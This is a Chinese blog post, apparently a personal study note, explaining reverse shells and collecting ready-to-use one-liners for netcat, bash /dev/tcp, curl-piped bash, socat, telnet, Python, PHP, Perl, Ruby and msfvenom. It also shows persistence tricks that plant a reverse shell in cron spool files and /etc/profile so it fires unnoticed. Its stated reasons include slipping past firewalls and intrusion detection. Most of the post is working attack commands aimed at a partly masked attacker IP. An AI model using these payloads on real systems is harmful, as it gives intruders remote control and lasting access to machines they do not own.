学习反弹shell
C3ngH Lv3

什么是反弹shell

反弹 shell 是指目标主机主动向攻击者的主机发起连接,然后攻击者利用这个连接与目标主机进行交互。与之相对的是绑定 shell,它是在目标主机上开放一个监听端口,攻击者直接连接这个端口。

反弹shell的工作原理

攻击者监听:攻击者在自己的机器上打开一个监听端口,等待目标主机连接。

目标主机发起连接:通过漏洞利用或命令注入,攻击者让目标主机执行一条指令,这条指令会主动连接攻击者的 IP 和端口。

建立通信通道:连接成功后,目标主机将自己的命令行输入输出通过这个通道传递给攻击者。

攻击者执行命令:攻击者通过这个通道直接操作目标主机。

简单点说:A攻击B,A监听自己的某个端口,B主动访问A的那个端口,在A上对B进行命令执行,谁攻击谁监听自己,谁被攻击谁主动访问

为什么要反弹shell

  1. 目标主机位于内网(NAT 环境)或防火墙后面,攻击者无法直接访问目标主机的开放端口
  2. 目标主机有防火墙限制入站流量,反弹 shell 利用目标主机主动发起出站连接,而防火墙通常不会限制出站流量
  3. 目标主机没有固定 IP, 如果目标主机使用动态分配的 IP 地址(例如内网 DHCP 分配),攻击者很难找到目标主机的 IP
  4. 规避入侵检测系统(IDS)
  5. 限制攻击者暴露自身位置

利用netcat反弹shell

攻击机开启本地监听:

1
netcat -lvvp 11451

目标机主动连接攻击机:

1
2
netcat 121.xxx.xxx.xxx 11451 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

利用bash反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
2
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1
bash -c 'bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1'

Curl配合Bash反弹shell

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

1
bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1

并开启11451端口的监听。

然后再目标机上执行如下,即可反弹shell:

1
curl 121.xxx.xxx.xxx|bash

将反弹shell的命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

1
2
3
*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/121.xxx.xxx.xxx/11451 0>&1

#每隔一分钟,向121.xxx.xxx.xxx的11451号端口发送shell

将反弹shell的命令写入/etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

1
2
/bin/bash -i >& /dev/tcp/121.xxx.xxx.xxx/11451 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell

利用Socat反弹shell

攻击机开启本地监听:

1
2
3
socat TCP-LISTEN:11451 -

nc -lvvp 11451

目标机主动连接攻击机:

1
socat tcp-connect:121.xxx.xxx.xxx:11451 exec:'bash -li',pty,stderr,setsid,sigint,sane

利用Telnet反弹shell

方法一

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
mknod a p; telnet 121.xxx.xxx.xxx 11451 0<a | /bin/bash 1>a

方法二

攻击机需要开启两个本地监听:

1
2
nc -lvvp 11451
nc -lvvp 19198

目标机主动连接攻击机:

1
telnet 121.xxx.xxx.xxx 11451 | /bin/bash | telnet 121.xxx.xxx.xxx 19198

Python 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("121.xxx.xxx.xxx",11451));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
php -r '$sock=fsockopen("121.xxx.xxx.xxx",11451);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
perl -e 'use Socket;$i="121.xxx.xxx.xxx";$p=11451;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby 脚本反弹shell

攻击机开启本地监听:

1
nc -lvvp 11451

目标机主动连接攻击机:

1
2
3
ruby -rsocket -e 'c=TCPSocket.new("121.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("121.xxx.xxx.xxx","11451");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用Metasploit生成反弹shell

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),列出我们需要生成的各类反弹shell一句话的payload:

1
2
3
msfvenom -l payloads | grep 'cmd/unix/reverse'

msfvenom -p cmd/unix/reverse_python LHOST=121.xxx.xxx.xxx LPORT=11451 -f raw

反弹shell后获取模拟终端

我们只需在获取的shell里面输入如下命令,即可模拟一个终端设备:

1
python -c "import pty;pty.spawn('/bin/bash')"

写在最后

在尝试的时候用自己的服务器给自己的电脑弹了个shell然后删掉了桌面上的文件,把我以为在D盘有备份的数据库实验报告删了,快进到熬夜重写。红温红温红温红温。

image

 评论
评论插件加载失败
正在加载评论插件
总字数 77.8k 访客数 访问量